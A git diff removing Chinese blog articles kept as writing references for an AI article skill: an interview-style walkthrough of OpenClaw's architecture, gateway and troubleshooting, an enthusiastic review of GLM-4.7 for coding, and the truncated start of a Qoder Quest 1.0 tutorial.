-如果你用的是 pnpm 或 bun,对应换成:
-
-```bash
-pnpm rm -g openclaw
-# 或
-bun rm -g openclaw
-```
-
-遇到权限错误就加 `sudo`。
-
-老王点点头:“那卸载后怎么验证干净?”
-
-我说:“执行以下命令,确认没有残留:”
-
-```bash
-# 检查全局包
-npm list -g openclaw
-
-# 检查目录
-ls ~/.openclaw/
-
-# 检查端口占用
-lsof -i:18789
-```
-
-全部返回空或“not found”,才算卸载干净。
-
-老王听完点点头:“行,卸载这块确实熟。那我追问一下,`~/.openclaw/` 目录里都有什么?为什么删这个目录这么重要?”
-
-### 02、龙虾的核心目录架构了解吗?
-
-“王哥,你这是要考我架构啊。”
-
-`~/.openclaw/` 是 OpenClaw 的“神经中枢”,里面存放着所有配置和状态。
-
-```bash
-~/.openclaw/
-├── openclaw.json # 全局配置文件
-├── gateway/ # Gateway 相关
-│ ├── config.json # Gateway 配置
-│ ├── logs/ # 日志目录
-│ └── pid # 进程 ID 文件
-├── plugins/ # 插件目录
-│ ├── @openclaw/ # 官方插件
-│ └── @wecom/ # 第三方插件
-├── workspaces/ # Agent 工作区
-│ ├── default/ # 默认 Agent
-│ └── paigit/ # 自定义 Agent
-├── skills/ # 技能包
-├── cache/ # 缓存目录
-└── .env # 环境变量
-```
-
-
-
-老王继续追问:“这里面的每个目录都有什么用?你挑重点讲。”
-
-#### openclaw.json:全局配置文件
-
-这是 OpenClaw 的“大脑配置中心”。
-
-```json
-{
- "version": "2026.3.2",
- "gateway": {
- "port": 18789,
- "auth": "token",
- "host": "0.0.0.0"
- },
- "channels": {
- "feishu": {
- "appId": "cli_xxx",
- "appSecret": "xxx"
- },
- "wecom": {
- "botId": "xxx",
- "secret": "xxx"
- }
- },
- "model": {
- "provider": "glm",
- "profile": "coding-plan",
- "defaultModel": "glm-5"
- },
- "plugins": [
- "@openclaw/feishu-plugin",
- "@wecom/wecom-openclaw-plugin"
- ]
-}
-```
-
-里面记录了:
-
-- **Gateway 配置**:监听端口、认证方式、绑定地址
-- **IM 通道配置**:飞书、企微等应用的凭证
-- **大模型配置**:提供商、套餐、默认模型
-- **插件列表**:已安装的插件及其加载顺序
-
-王哥追问:“Gateway 配置里的 `auth: "token"` 是什么意思?Gateway 到底是干什么的?”
-
-
-
-
-
-
-
-#### Gateway:消息路由中枢
-
-“王哥,Gateway 是 OpenClaw 架构里最关键的设计。”
-
-很多人用 OpenClaw,只知道装完跑 `openclaw gateway start`,但不知道 Gateway 到底在干啥。
-
-简单说,Gateway 是一个**常驻后台的消息路由服务**。
-
-它的职责有三层:
-
-
-
-
-
-**第一层:接收消息**
-
-你在飞书群里@机器人,飞书会把消息推送到 Gateway。Gateway 收到后,解析消息内容,识别是哪个 Agent、哪个会话。
-
-**第二层:分发任务**
-
-Gateway 把消息路由给对应的 Agent 处理。如果你配置了多个 Agent(比如一个负责代码审核,一个负责会员审批),Gateway 会根据消息来源判断该交给谁。
-
-**第三层:返回结果**
-
-Agent 处理完任务后,把结果交给 Gateway,Gateway 再通过 IM 通道发回飞书。
-
-```
-飞书消息 → Gateway → Agent → 大模型 → Agent → Gateway → 飞书回复
-```
-
-老王听完眼睛一亮:“小伙子有水平啊。为什么要这样分层?Gateway 和 Agent 为什么不耦合在一起?”
-
-我说:“解耦。Gateway 负责 IM 通信,Agent 负责任务执行。这样你可以一个 Gateway 挂多个 Agent,每个 Agent 用不同的模型、跑不同的任务,互不干扰。”
-
-老王点点头:“那如果 Gateway 挂了怎么办?有没有高可用方案?”
-
-我说:“王哥,你这问题越来越深了。目前 OpenClaw 官方没有提供高可用方案,Gateway 是单点的。如果要上生产,我的建议是:”
-
-- Gateway 集群部署,用负载均衡器分发请求
-- 会话状态下沉到 Redis,Gateway 无状态
-- 多实例之间用分布式锁协调任务执行
-
-老王若有所思:“那插件呢?OpenClaw 的插件机制是怎么跑的?”
-
-#### 插件体系:微内核架构
-
-我说:“OpenClaw 采用的是微内核架构。”
-
-核心只提供最基础的能力——消息收发、任务调度、工具调用。其他功能全部通过插件扩展。
-
-- 飞书支持?插件。
-- 企微支持?插件。
-- 文档处理?插件。
-
-插件安装在 `~/.openclaw/plugins/` 目录下,每个插件是一个独立的 npm 包。
-
-```bash
-# 安装飞书插件
-openclaw plugins install @openclaw/feishu-plugin
-
-# 安装企微插件
-openclaw plugins install @wecom/wecom-openclaw-plugin
-
-# 查看已安装插件
-openclaw plugins list
-```
-
-
-
-
-
-老王追问:“插件加载的时机是什么?Gateway 启动的时候?如果两个插件对同一条消息都想处理,怎么解决冲突?”
-
-我说:“对,Gateway 启动时会扫描 plugins 目录,按 openclaw.json 里的顺序加载所有插件。每个插件会注册自己的消息处理器和工具函数。”
-
-“冲突解决靠优先级机制——openclaw.json 里可以设置插件优先级,优先级高的先处理。另外每个插件有自己的命名空间,互不干扰。”
-
-老王满意地点点头:“架构这块讲清楚了。那我再问你——Gateway 的生命周期管理是怎样的?启动、停止、重启流程是什么?中间有什么坑?”
-
-#### Gateway 的生命周期管理
-
-我说:“王哥,这个问题很实用,很多人踩过坑。”
-
-**启动 Gateway**
-
-```bash
-openclaw gateway start
-```
-
-启动时会做几件事:
-
-1. 加载 `openclaw.json` 配置
-2. 扫描并加载插件
-3. 初始化 IM 通道(连接飞书、企微等)
-4. 启动 HTTP 服务监听端口
-5. 写入 pid 文件
-
-**检查 Gateway 状态**
-
-```bash
-openclaw gateway status
-```
-
-会显示:
-
-- 运行状态(running / stopped)
-- 进程 ID
-- 监听端口
-- 已加载的插件数量
-
-**停止 Gateway**
-
-```bash
-openclaw gateway stop
-```
-
-如果 Gateway 卡住,可以强制停止:
-
-```bash
-openclaw gateway stop --force
-```
-
-或者直接杀进程:
-
-```bash
-kill $(cat ~/.openclaw/gateway/pid)
-```
-
-**重启 Gateway**
-
-修改配置后需要重启:
-
-```bash
-openclaw gateway restart
-```
-
-老王追问:“启动的时候常见的报错有哪些?怎么排查?”
-
-我说:“最常见的有三个问题。”
-
-**问题一:端口被占用**
-
-```bash
-Error: Port 18789 is already in use
-```
-
-解决方法:
-
-```bash
-# 查看谁占用了端口
-lsof -i:18789
-
-# 杀掉占用进程
-kill -9
-```
-
-**问题二:插件加载失败**
-
-```bash
-Error: Failed to load plugin @openclaw/feishu-plugin
-```
-
-解决方法:
-
-```bash
-# 重新安装插件
-openclaw plugins uninstall @openclaw/feishu-plugin
-openclaw plugins install @openclaw/feishu-plugin
-```
-
-**问题三:配置文件损坏**
-
-```bash
-Error: Invalid JSON in openclaw.json
-```
-
-解决方法:检查 JSON 格式,或者直接删掉重新配置。
-
-老王点点头:“那消息流转呢?当你在飞书群里@机器人时,消息是怎么流转到 Agent 并返回结果的?整个链路涉及哪些组件?”
-
-### 03、消息流转的完整链路
-
-我说:“王哥,是这样的。”
-
-
-
-
-**第一步:事件订阅**
-
-飞书把消息推给 Gateway。这需要在飞书开放平台配置事件订阅,开启 `im.message.receive_v1` 事件。
-
-**第二步:消息解析**
-
-Gateway 收到消息后,解析消息内容,识别来源(哪个群、哪个用户)和意图(要干什么)。
-
-**第三步:路由分发**
-
-根据 bindings 配置,把消息发给对应的 Agent。如果你配置了多个 Agent,Gateway 会根据消息来源判断该交给谁。
-
-**第四步:执行任务**
-
-Agent 调用大模型处理任务。如果是复杂任务,Agent 会拆解成多个步骤,一步步执行。
-
-**第五步:结果返回**
-
-Gateway 把结果通过 IM 通道返回给飞书。
-
-老王追问:“那状态是怎么维护的?多轮对话的上下文存在哪里?”
-
-我说:“会话上下文存在 `~/.openclaw/workspaces//memory/` 目录下。每次对话会序列化保存,Gateway 重启后可以恢复。多轮对话用 session_id 标识,防止串台。”
-
-老王接着问:“如果同时有 100 个用户@机器人,Gateway 怎么处理并发?”
-
-我说:“Gateway 用异步非阻塞 IO 处理请求。每个消息生成唯一 request_id,防止混淆。Agent 执行队列化,避免资源竞争。”
-
-老王点点头:“那 Agent 响应很慢怎么办?有没有优化方案?”
-
-我说:“有几种优化思路:”
-
-- 换更快的模型(比如 GPT-5.4)
-- 简化 BOOT.md 里的指令
-- 用流式输出,边生成边返回
-- 复杂任务后台异步执行,先返回 ACK
-
-老王听完感慨:“你这理解得够深的。那我再问你一个实际应用的问题,你用 OpenClaw 干过什么真实的业务场景?别给我整那些 demo。”
-
-### 04、真实业务场景:gitcode 账号批量审核
-
-我说:“王哥,这个问题问到我心坎里了。”
-
-讲一个真实的场景——技术派(paicoding.com)的 gitcode 账号审核。
-
-技术派加入的会员需要开通 gitcode 代码仓库的访问权限。以前这个流程是这样的:
-
-1. 会员申请加入
-2. 我收到通知
-3. 手动打开 gitcode 后台
-4. 搜索用户昵称
-5. 添加到对应的项目组
-6. 发消息通知会员审核通过
-
-一个账号还好,如果一次来 20 个呢?光这个流程就要折腾半小时。
-
-现在呢?我把这个任务交给了 OpenClaw。
-
-**第一步:创建一个专属 Agent**
-
-```bash
-openclaw agents add PaiGit --workspace ~/openclaw-workspaces/paigit
-```
-
-**第二步:配置 BOOT.md 告诉 Agent 它的职责**
-
-```markdown
-# PaiGit 职责
-
-你是技术派的 gitcode 账号审核助手。
-
-当收到飞书消息包含用户昵称时:
-
-1. 登录 gitcode 后台
-2. 搜索用户
-3. 添加到技术派-会员组
-4. 回复审核结果
-```
-
-**第三步:绑定飞书通道**
-
-在飞书群里,我直接发消息:
-
-> 帮我审核以下用户:张三、李四、王五
-
-OpenClaw 收到消息后,自动执行整个审核流程。20 个账号,1 分钟搞定。
-
-
-
-
-
-老王听完眼睛都直了:“这效率提升有点狠啊。”
-
-我说:“还不止。我还给它设了定时任务,每天早上 9 点自动检查有没有新的待审核申请,有的话直接处理,处理完推送到飞书群。”
-
-老王来了兴趣:“还有没有别的场景?”
-
-### 05、场景二:飞书群消息同步
-
-我又给他讲了一个——飞书群消息同步。
-
-技术派有好几个飞书群:开发群、运营群、会员群。有时候一个群里发的消息需要同步到其他群,比如新功能上线通知。
-
-以前的做法是:手动复制粘贴,或者用飞书的转发功能。但转发格式不好看,而且容易漏。
-
-现在我用 OpenClaw 搞定了这个流程。
-
-#### 配置 Webhook
-
-每个飞书群都有一个 Webhook 地址,可以在群设置里找到。
-
-把这些 Webhook 地址告诉 OpenClaw:
-
-> 记住以下群的 Webhook 地址:
->
-> - 开发群:https://open.feishu.cn/open-apis/bot/v2/hook/xxx
-> - 运营群:https://open.feishu.cn/open-apis/bot/v2/hook/yyy
-> - 会员群:https://open.feishu.cn/open-apis/bot/v2/hook/zzz
-
-#### 发送同步指令
-
-> 在开发群、运营群、会员群同时发送:派聪明 v2.0 今天上线了,新增了 AI 面试助手功能,大家快去体验!
-
-
-
-
-
-OpenClaw 会自动调用 Webhook,把消息发到三个群。
-
-老王点点头:“这个场景实用,省得一个个群转发。”
-
-## 06、场景三:定时任务推送
-
-“定时任务呢?你刚才说的每天早上 9 点给你推送最新的 hacknews 消息,是怎么实现的?”
-
-OpenClaw 支持用自然语言创建定时任务。
-
-直接告诉它:
-
-> 每天早上 9 点,检查有 hacknews 有没有好玩的AI讯息,整理一下发送给我。
-
-
-
-
-
-OpenClaw 会创建一个定时任务,到点自动执行。
-
-定时任务的底层实现是 cron。OpenClaw 会把自然语言转成 cron 表达式,然后在后台调度执行。
-
-老王追问:“定时任务如果执行失败了怎么办?有没有重试机制?”
-
-我说:“目前 OpenClaw 没有内置重试机制,但可以通过 BOOT.md 里加错误处理逻辑来实现。比如告诉 Agent:'如果任务执行失败,等待 5 分钟后重试,最多重试 3 次'。”
-
-“另外,定时任务执行结果会记录到日志里,可以在 `~/.openclaw/gateway/logs/` 目录下查看。”
-
-老王听完感慨:“这三个场景都挺实用的,不是那种为了用工具而用工具。”
-
-### 07、大模型集成的工程化问题
-
-老王话锋一转:“那我再问你一个方向——OpenClaw 需要调用大模型 API,在实际使用中,你遇到过哪些问题?比如 token 限制、响应延迟、费用控制。你是怎么解决的?”
-
-我说:“王哥,这个问题太实际了,我踩过不少坑。”
-
-#### token 优化
-
-OpenClaw 烧 token 是真的快。一个稍微复杂的任务,Agent 在后台可能调用十几轮甚至几十轮大模型。
-
-我的优化方法:
-
-- **prompt 压缩**:去除冗余信息,只传必要上下文
-- **上下文裁剪**:只保留最近 N 轮对话
-- **结果缓存**:相同问题直接返回缓存结果
-
-#### 响应加速
-
-大模型响应慢是通病。我的方案:
-
-- **流式输出**:边生成边返回,减少用户等待
-- **异步处理**:复杂任务后台执行,先返回 ACK
-- **模型选择**:简单任务用 Lite 模型,复杂任务用 Pro 模型
-
-#### 费用控制
-
-这个最头疼。我的做法:
-
-- **配额管理**:每天/每月设置 token 上限
-- **成本追踪**:记录每个任务的 token 消耗
-- **自动降级**:额度用完时切换到便宜模型
-
-老王追问:“如果大模型 API 挂了怎么办?有没有降级方案?”
-
-我说:“有。大模型挂了,切换到本地模型(比如 Qwen)。网络不通,用缓存兜底。超时处理,返回友好提示而非报错。”
-
-### 08、生产环境部署的考量
-
-老王最后问了一个很实际的问题:“如果让你把 OpenClaw 部署到生产环境,你会考虑哪些问题?”
-
-我说:“王哥,这个问题我能讲半小时。我挑重点说。”
-
-**高可用**
-
-- Gateway 集群部署,用负载均衡器分发请求
-- 会话状态下沉到 Redis,Gateway 无状态
-- 多实例之间用分布式锁协调任务执行
-
-**监控**
-
-- Gateway 层:监听端口、连接数、QPS
-- Agent 层:任务执行成功率、平均响应时间
-- 模型层:token 消耗、费用统计、模型调用成功率
-
-**日志**
-
-- 按模块分割日志(gateway.log、agent.log、plugin.log)
-- 关键操作记录审计日志
-- 日志轮转和归档(保留 30 天)
-
-**安全**
-
-- API Key 加密存储,支持动态轮换
-- 插件白名单机制,只允许官方插件
-- 网络隔离,Gateway 只对外暴露必要端口
-
-老王点点头:“最后一个问题——你在用 OpenClaw 的过程中踩过什么坑?怎么排查的?”
-
-### 09、常见问题排查实战
-
-我说:“我挑几个最典型的说。”
-
-#### 问题一:Gateway 启动后收不到消息
-
-老王问:“这个怎么排查?”
-
-我说:“分三步走。”
-
-**第一步:检查日志**
-
-```bash
-cat ~/.openclaw/gateway/logs/error.log
-```
-
-看有没有报错信息。常见错误有:飞书 App ID 填错、权限没开通、事件订阅没配置。
-
-**第二步:检查通道状态**
-
-```bash
-openclaw channels status
-```
-
-看飞书/企微通道是不是正常连接。
-
-**第三步:检查飞书配置**
-
-去飞书开放平台,确认:
-
-- 事件订阅已开启
-- `im.message.receive_v1` 事件已添加
-- 长链接模式已启用
-
-
-
-
-
-#### 问题二:模型调用失败
-
-老王问:“这个呢?”
-
-我说:“模型调用失败一般是三个原因:”
-
-**原因一:API Key 无效或过期**
-
-去大模型平台检查 API Key 状态,必要时重新生成。
-
-**原因二:额度用尽**
-
-如果是 Coding Plan 套餐,检查本月额度是否用完。用完了要么等下个月,要么升级套餐。
-
-**原因三:网络问题**
-
-```bash
-# 测试网络连通性
-curl -I https://open.bigmodel.cn
-```
-
-如果连不上,检查代理配置或防火墙设置。
-
-#### 问题三:Agent 响应很慢
-
-老王问:“响应慢怎么优化?”
-
-我说:“分情况处理。”
-
-**如果是模型推理慢**:
-
-- 换更快的模型(Doubao-Seed-2.0-Lite 比 Pro 快 30%)
-- 简化 prompt,减少 token 数量
-- 开启流式输出,边生成边返回
-
-**如果是任务执行慢**:
-
-- 拆分大任务,分批执行
-- 用缓存减少重复计算
-- 后台异步执行,先返回 ACK
-
-**如果是网络延迟**:
-
-- 用离你最近的模型服务节点
-- 检查网络链路,优化代理配置
-
-#### 问题四:多 Agent 消息串台
-
-老王问:“这个我遇到过,怎么解决?”
-
-我说:“多 Agent 串台是因为 bindings 配置不清晰。”
-
-在 `openclaw.json` 里用 `bindings` 字段明确指定每个 Agent 对应的通道:
-
-```json
-{
- "bindings": [
- {
- "agentId": "PaiGit",
- "match": {
- "channel": "feishu",
- "appId": "cli_xxx"
- }
- },
- {
- "agentId": "PaiReview",
- "match": {
- "channel": "feishu",
- "appId": "cli_yyy"
- }
- }
- ]
-}
-```
-
-这样 Gateway 收到消息时,会根据 App ID 精准路由到对应 Agent,不会串台。
-
-老王听完感慨:“你这排查思路挺清晰的,不是那种遇到问题就懵的人。”
-
-我说:“王哥,这都是踩坑踩出来的经验。OpenClaw 文档虽然全,但很多问题得自己摸索。”
-
-老王沉默了两秒,然后说:“你什么时候能来上班?”
-
-## ending
-
-不瞒大家说,有小伙伴最近去面试,的确有遇到面试官问 OpenClaw 的,可惜他之前没有准备,后悔不已。
-
-
-
-这波浪就在眼前。
-
-你冲,它在眼前。你不冲,它仍在眼前。
-
-重要的是应用场景,为你所用。
-
-假如你没有应用场景,也没必要硬凑。没有龙虾的日子,也许会更幸福一点。
-
-反正我爸每天就是打打牌,晒晒太阳,我就很羡慕他。
-
-当然了,有龙虾的日子,我也过得很幸福。因为它确实有帮助到我——一个简单的 gitcode 账号审核,就帮了我大忙。
-
-【**工具的价值,不在于它有多火,而在于它能不能帮你解决真实的问题。**】
-
-我们下期见,冲啊!
\ No newline at end of file
diff --git a/.claude/skills/ai-article/references/glm4-7.md b/.claude/skills/ai-article/references/glm4-7.md
deleted file mode 100644
index e4efc6be9a..0000000000
--- a/.claude/skills/ai-article/references/glm4-7.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# 实测GLM-4.7,我想给他当股东了
-
-大家好,我是二哥呀。
-
-这几天,相信大家肯定都被一个产品刷屏了。
-
-GLM-4.7。
-
-就是这个后端工程能力媲美 Claude Sonnet 的国产大模型。
-
-
-
-总参数 355B,专门面向 Coding 场景强化了编码、长程任务规划等能力,目前已在 Hugging Face、ModelScope 开源部署!
-
-
-
-真不是我在刻意吹捧。你瞧,老外都在 x 上盛赞:GLM-4.7 超越了 Claude-Sonnet-4.5 和 GPT-5。
-
-
-
-这是一个了不起的成绩!
-
-下面是我通过 GLM-4.7 完成的一个 Agent 项目,可以实现工作流的拖拉编排。
-
-
-
-## 01、使用 Claude Code 接入 GLM-4.7
-
-搞不懂,Claude 明明很封闭,直接断供 Open Code,逼着 Clawdbot 改名 Moltbot。
-
-但 Claude Code 的模型调用层,却是可配置、可替换的。我们只需要在 `.claude/settings.json` 中把 ANTHROPIC_AUTH_TOKEN 替换为 GLM-4.7 的 API Key 就可以了。
-
-另外一个配置项 ANTHROPIC_BASE_URL 的值固定为 `https://open.bigmodel.cn/api/anthropic`。
-
-
-
-一点都不难吧?
-
-保存后,重启 Claude Code,输入 `/status`,如果看到 BigModel.cn 的身影,就说明配置成功了。
-
-
-
-给自己比个耶吧!
-
-从此以后,你将拥有一个无所不能的 Agent,可以帮你写代码、修 bug、读源码,甚至可以帮你搭建项目骨架、部署生产环境上线等。
-
-## 02、GLM-4.7 的后端工程能力
-
-前置环境搞定后,我们直接来新增需求,很简单一句话,我们看看 GLM-4.7 是否能够通情达理,get 到我们的诉求。
-
-> 我现在需要在大模型节点下新增一个智谱节点
-
-tips:拒绝花里胡哨的提示词,真正检验大模型的能力😄
-
-
-
-
-能看到,GLM-4.7 会先探索我们的代码库,了解当前大模型节点的实现结构。
-
-这一点至关重要,就好像我们打算出远门,总要去地图上看看路线,是吧,搞清楚目标和路线后再动手,免得返工。
-
-遇到需要权限的诉求,我们直接给它。
-
-
-
-搞清楚工作流的执行引擎后,GLM-4.7 开始查看数据库和前端代码,非常严谨。
-
-
-
-前后端的代码+数据库搞清楚后,开始正式写代码。真正做到了“先思考、再行动”。
-
-
-
-有代码需要调整的地方,也会清楚的告诉我们。
-
-
-
-我选择全权交给 GLM-4.7 来处理,我只要最后的结果,不过在历史上下文当中,我们也可以再次确认都在哦了哪些修改,一目了然。
-
-
-
-和其他模型有很大的不同,GLM-4.7 非常非常负责任,除了完成你需要他干的活,还会自动检查其他哪些地方需要修改。
-
-
-
-所有的任务都搞定后,会给我们列一个任务完成清单。
-
-
-
-好,我们直接来看一下效果,完全符合我的预期啊,这可不是闹着玩的 demo 项目,而是一个完全可以运行的工作流编排项目,也是当前最火的 AI 业务之一。
-
-
-
-竟然一次性搞定了!
-
-从整个交互体验来看,GLM-4.7 更习惯站在“任务交付”的视角,而不是“回答问题”的视角。它给出的不再是零散代码片段,而是:
-
-- 明确的模块划分
-- 可运行的代码骨架
-- 清楚的依赖关系和执行顺序
-- 对边界情况的主动补充说明
-
-这种感觉很像一个工程经验老道的同事,而不是一个只会补全代码的工具。
-
-有意思,有意思,越来越有意思了。
-
-## 03、GLM-4.7 的 bug 修复能力
-
-考验 GLM-4.7 的时候到了,因为真正能拉开差距的地方,真不是第一次写代码的时候,而是出问题之后,能不能把 bug 给收拾干净。
-
-接口报错、鉴权失败、参数不对、依赖冲突,这些东西不可能一次写对。
-
-GLM-4.7 给我的体感非常明确:他不是在“猜怎么改”,而是顺着错误把问题先定位一遍。
-
-比如我在调试过程中遇到了一个很典型的 API 鉴权问题,请求已经发出,但却响应失败了。我没去分析日志,也没有补充额外解释,而是简单粗暴把错误堆栈原样丢给 GLM-4.7。
-
-
-
-GLM-4.7 没有着急去改代码,而是先判断:
-
-- 是 Key 配置问题,还是 Header 拼错?
-- 是鉴权方式不匹配,还是请求路径有误?
-- 当前代码和官方示例是否存在实现差异?
-
-这个思考方式,就有点老员工的“工程化”思维了。然后在定位到问题之后,他会明确告诉我们:这里还是那里不对、为什么不对、应该怎么改。
-
-这里顺手分享一个非常实用的小技巧,可能很多人都忽视了。如果你发现第一次请求发出后,还有一些信息需要补充,可以在 GLM-4.7 返回结果前直接再输入一次附加信息。
-
-
-
-还有一种场景,不知道大家有没有注意到。在修 bug 时非常常见:当前实现和官方 demo 对不上。
-
-这时候最省事的方式就是——把官方代码示例直接丢给 GLM-4.7。这其实也在考验我们的 Vibe Coding 能力,能不能必要时刻给 AI 一个明确的指示。
-
-省得他在那瞎琢磨。
-
-这一步的价值在于:我们不需要自己一点点 diff 官方和实现的差异,模型会主动帮我们把“意图”和“实现”对齐。
-
-
-
-当然,bug 修完不是终点,它还会自己检查一遍。这一点,是我觉得 GLM-4.7 非常加分的地方。
-
-当你以为事情已经结束了,它往往会多做一步:扫一遍有没有遗漏的地方。
-
-- 是否还有调用链没改干净?
-- 是否有前端或数据库字段需要同步调整?
-- 是否存在潜在的边界问题?
-
-
-
-等所有地方都确认无误之后,他才会给你一个完整的修改清单。
-
-讲良心话,我试过其他的模型,这种自我反思的能力就差点意思,经常是你让他改一个地方,他就改一个地方。
-
-殊不知,bug 就藏着这里面,因为有很多时候,代码都是联动的,牵一发而动全身。
-
-老程序员经常告诫我们:勿动屎山,就是因为屎山虽然臭,但它是能运行的。你以为你改好了,实际上 P0 事故可能离你不远了。😄
-
-我们人的精力毕竟有限,但大模型不一样啊,无非就是费点token。
-
-好,我们来看一下修改后的效果,非常 nice。一个完整的输入 →llm 大模型 → 超拟人合成 → 输出的工作流编排就算是完成了。
-
-
-
-## 04、GLM-4.7 的前端工程能力
-
-现在的执行状态,是等所有节点都跑完之后,前端一次性展示结果。
-
-但从用户体验上来说,状态流转应该是一个动态过程:
-
-- LLM 节点开始执行 → 执行中 → 执行完成
-- 接着切换到 TTS 节点 → 执行中 → 执行完成
-- 最后到结束节点,整体流程结束
-
-我们把需求直接扔给 GLM-4.7:
-
-> 现在有个问题,我发现,执行状态、节点执行结果都是等所有节点都执行完后才显示出来的,实际上这应该是一个动态的过程,llm 节点开始执行的时候执行状态就切到 llm 节点开始执行、执行中、执行结束,然后到 tts 的开始执行、执行中、执行结束,最后到结束节点,这应该是实时响应的。前后端需要联调起来。
-
-面对这个问题,GLM-4.7 并没有一上来就写代码,而是先明确了一点:这是一个典型的「执行状态实时推送」问题,技术上可以用 SSE,也可以用 WebSocket。
-
-
-
-为了方便后期能够主动中断工作流的执行,GLM-4.7 选择了 WebSocket。
-
-
-
-GLM-4.7 并没有只盯着前端,而是从后端执行引擎开始改起:
-
-- 后端增加 WebSocket 依赖和基础配置
-- 新增 WebSocket Handler,用于推送节点执行状态
-- 在执行引擎中,把“节点生命周期”拆成可感知的事件
-- 在节点开始、执行中、结束等关键节点,主动向前端推送状态
-
-后端改完之后,它才开始动前端。前端这边的改动也非常清晰:
-
-- 建立 WebSocket 连接
-- 监听后端推送的执行事件
-- 根据节点 ID 实时更新节点状态
-- 让画布上的节点“活”起来,而不是等结果一次性刷新
-
-
-
-有一个细节,我觉得特别加分。在节点执行完成后,GLM-4.7 顺手把节点执行结果里的 JSON 文本做了格式化展示,而不是直接把一坨字符串甩给用户。
-
-
-
-这个动作看起来很小,但非常贴心。
-
-我录了一个完整的视频,大家可以看看,非常完美。从输入 → LLM 执行 → TTS 合成 → 输出完成,
-每一步都是实时可见的。
-
-【视频】
-
-到这一刻,我心里已经笃定了:GLM-4.7 已经不只是“会写前端代码”,还能理解前端在整个系统中的位置和责任。
-
-除了硬核的实战代码能力之外,这次的 GLM-4.7 还进一步提升了前端审美。
-
-我们直接来让它来帮我们把用户界面改造为赛博朋克风。
-
-
-
-当然了,这个过程中也出现了一些其他的小问题,但好在经过我和 GLM-4.7 的通力合作,算是都解决了。来看一下最后呈现的效果吧。
-
-
-
-是不是很酷?
-
-## 05、Coding Plan 年包计划
-
-如果只让我用一句话来总结真实体感,那就是:
-
-**GLM-4.7,已经坐实了 Claude 的最佳平替,绝不是嘴上说说那种。**
-
-从 GLM-4.5 出来能承接一部分编程小项目,再到 GLM-4.6 更强的编程,智谱今年在 Coding 上的发力是完全没有想到的力度。
-
-不是在榜单里跑分,也不是写几个 demo case,而是放进真实工程、真实 Agent、真实联调环境里之后,你会明显感觉到一件事——它确实是一个称心&顺手的「工程生产力工具」了。
-
-- 它能读懂真实项目结构,而不是只看单文件;
-- 它习惯从“任务交付”而不是“回答问题”的角度出发;
-- 它会主动检查遗漏、修 bug、补联调,而不是写完就走;
-- 它在前后端协同、状态流转、工程约束这些地方,明显是有经验积累的。
-
-我自己是订阅了智谱的 Coding Plan 年包计划,平常开发基本上不用担心 token 的用量问题,性价比这一点,对比一下 Claude 那是香的没得说。
-
-
-
-- 更稳定的 Coding 专用模型调度策略
-- 对长上下文、复杂任务拆解的明显优化
-- 在 Claude Code、IDE 类工具里的兼容性持续增强
-- 对 Agent 场景、工具调用、任务连续性的支持越来越完整
-
-从一个开发者的角度说,这种投入是非常值得的。
-
-如果你现在正好在做 Agent、做工作流、做复杂业务系统,或者你只是单纯想提升自己的工程效率、在 AI 时代把生产力再往上抬一档。
-
-那 GLM-4.7 **绝对是一个明智的选择。**
-
-## 06、ending
-
-我坚信,AI 编程,一定会有光明的未来。
-
-哪怕现阶段还有很多的不完美。
-
-但日子还长,只要抱有希望,抱有对这个世界的热爱。
-
-我们就一定能用 AI Coding 实现更多的创业,挖掘更多的商业价值。
-
-给这个世界创造更多的可能性。
-
-如果这篇内容对你有用,记得点赞,转发给需要的人。
-
-我们下期见!
-
-
diff --git a/.claude/skills/ai-article/references/quest-2.md b/.claude/skills/ai-article/references/quest-2.md
deleted file mode 100644
index 916373777e..0000000000
--- a/.claude/skills/ai-article/references/quest-2.md
+++ /dev/null
@@ -1,233 +0,0 @@
-# 转发很高
-
-大家好,我是二哥呀。
-
-刚升级完 Qoder 到 0.2.29,就看到这个提醒:Quest 1.0 全新发布,将任务交给 Quest,Agent 能够自主完成高质量、端到端、可交付的结果,**无需人工持续介入**。
-
-
-
-讲真,这才是 AI Coding 的终极未来嘛,自主进化,我们只需要告诉 Qoder 我们的想法,Quest 会先对齐需求和约束,然后执行并验收。
-
-整个过程据说能持续 26 多小时,这意味着 Quest 1.0 模式下的 Qoder,具备了长上下文的能力。
-
-
-
-Quest 1.0 最重要的升级是:Quest 不再依赖单一的模型完成所有任务。它的智能路由系统会根据子任务特性,比如代码生成、逻辑推理、视觉理解、重构优化,自动调度到最适合的 SOTA 模型。
-
-我也录了一个完整的视频,大家可以感受下。
-
-【视频】
-
-接下来我会带大家真正实操一把,体验用 Quest 1.0 重构传统 Java 后端项目的完整过程——通过 SpringAI 和SpringAI Alibaba 给项目赋能 AI 能力。
-
-
-
-## 01、导入 PaiAgent
-
-好,打开我们的 PaiAgent 项目,可以看到 Quest 模式从左侧的侧边栏移动到了导航栏的左上角。
-
-> 源码已经开源在 GitHub 上:https://github.com/itwanger/PaiAgent
-
-
-
-点击【Editor】旁边的【Quest】就可以切换到全新布局。在 Quest 1.0 模式下,左边是 Agent 对话区,右侧是编码区和预览区。
-
-
-
-Agent 对话区域从右到左,也就意味着在 Quest 1.0 模式下,真正的主角是 Agent。点击 Quest 右侧的【+】号,可以开启一个全新视窗,非常干净。
-
-
-
-在 Claude Code 或者 Qoder CLI 模式下,Vibe Coding 主打一个你说一件事它干一件事。
-
-**在 Quest 1.0 模式下,主打一个你说一件事,它干 N 件事**。它会把我们的一个想法,或者一个需求掰开揉碎确认一遍,然后自己拆任务,自己写代码,自己跑起来,自己验收,甚至出错了还能自己改 bug。
-
-这种能力,在产品初期的骨架搭建环节,在项目重构技术栈的环节,会非常有帮助。
-
-## 02、集成 SpringAI
-
-前面我们搭建好了 PaiAgent 项目的骨架,但还没有集成 SpringAI,那接下来,我们就通过 Qoder 的 Quest 1.0 来重构一下技术栈。
-
-
-
-我的提示词是:
-
-> PaiAgent 项目目前还没有集成 SpringAI,但 SpringAI 目前非常火,很多岗位的 jd 中明确要求有这方面的开发经验,目前稳定的版本是 SpringAI 1.1.2 官方 doc 为:https://docs.spring.io/spring-ai/reference/ 那我希望把 SpringAI 集成进来后,重构我们原有的和大模型通信的方式。
-
-Qoder 会提示我们这事一个涉及架构重构的复杂任务,最好先生成 Spec,确认后再开始执行。
-
-
-
-OK,我们点击【生成 Spec】。
-
-能看得出来,此时 Qoder 进行了深度思考,它首先探索现有的代码库,了解当前与大模型通信的实现方式,接着查阅 Spring AI 的官方文档,然后设计集成方案。
-
-
-
